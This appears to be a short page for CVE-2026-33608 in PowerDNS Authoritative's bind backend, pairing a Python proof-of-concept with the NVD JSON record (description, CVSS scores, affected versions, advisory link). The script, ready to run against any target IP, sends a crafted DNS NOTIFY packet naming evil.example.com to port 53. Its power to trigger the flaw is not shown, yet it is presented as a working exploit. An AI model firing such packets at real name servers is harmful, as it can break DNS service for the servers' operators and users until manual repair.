CVE-2026-33608

# PoC for CVE-2026-33608 # This script sends a crafted NOTIFY packet to the target. # Usage: python poc.py <target_ip> import socket import struct def send_notify(target_ip): # DNS Header: ID=0x1234, Flags= NOTIFY (Opcode=4), QR=0 header = struct.pack('!HHHHHH', 0x1234, 0x2400, 1, 0, 0, 0) # Question Section: Malicious domain # QNAME: evil.example.com qname = b'\x05evil\x07example\x03com\x00' # QTYPE: SOA (6), QCLASS: IN (1) question = qname + struct.pack('!HH', 6, 1) payload = header + question sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(payload, (target_ip, 53)) print(f"[+] Sent NOTIFY packet to {target_ip}") sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python poc.py <target_ip>") else: send_notify(sys.argv[1])

{"cve": {"id": "CVE-2026-33608", "sourceIdentifier": "[email protected]", "published": "2026-04-22T14:16:54.650", "lastModified": "2026-04-24T18:52:44.260", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An attacker can send a notify request that causes a new secondary domain to be added to the bind backend, but causes said backend to update its configuration to an invalid one, leading to the backend no longer able to run on the next restart, requiring manual operation to fix it."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:powerdns:authoritative:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.9.0", "versionEndExcluding": "4.9.14", "matchCriteriaId": "08464BC2-733F-4260-878D-DE05919A7A7D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:powerdns:authoritative:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0.0", "versionEndExcluding": "5.0.4", "matchCriteriaId": "A26C526E-15DC-41BE-9B66-FC6A63679562"}]}]}], "references": [{"url": "https://docs.powerdns.com/authoritative/security-advisories/powerdns-advisory-powerdns-2026-05.html", "source": "[email protected]", "tags": ["Broken Link", "Vendor Advisory"]}]}}